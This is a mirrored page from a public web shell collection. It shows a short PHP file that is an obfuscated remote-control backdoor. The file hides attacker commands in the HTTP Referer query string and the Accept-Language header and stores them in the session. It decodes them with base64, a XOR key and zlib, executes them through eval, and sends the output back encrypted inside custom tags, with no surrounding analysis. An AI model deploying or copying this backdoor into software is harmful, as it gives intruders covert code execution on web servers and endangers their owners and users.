mirror of
https://github.com/tennc/webshell
synced 2024-09-20 05:41:58 +00:00
52 lines
1.5 KiB
PHP
52 lines
1.5 KiB
PHP
<?php $kh = "3481";
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$kf = "9d7b";
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function x($t, $k) {
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$c = strlen($k);
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$l = strlen($t);
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$o = "";
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for ($i = 0;$i < $l;) {
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for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
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$o.= $t{$i} ^ $k{$j};
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}
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}
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return $o;
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}
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$r = $_SERVER;
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$rr = @$r["HTTP_REFERER"];
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$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
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if ($rr && $ra) {
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$u = parse_url($rr);
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parse_str($u["query"], $q);
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$q = array_values($q);
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preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
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if ($q && $m) {
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@session_start();
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$s = & $_SESSION;
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$ss = "substr";
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$sl = "strtolower";
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$i = $m[1][0] . $m[1][1];
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$h = $sl($ss(md5($i . $kh), 0, 3));
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$f = $sl($ss(md5($i . $kf), 0, 3));
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$p = "";
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for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
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if (strpos($p, $h) === 0) {
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$s[$i] = "";
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$p = $ss($p, 3);
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}
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if (array_key_exists($i, $s)) {
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$s[$i].= $p;
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$e = strpos($s[$i], $f);
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if ($e) {
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$k = $kh . $kf;
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ob_start();
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eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
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$o = ob_get_contents();
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ob_end_clean();
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$d = base64_encode(x(gzcompress($o), $k));
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print ("<$k>$d</$k>");
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@session_destroy();
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}
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}
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}
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};
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?>
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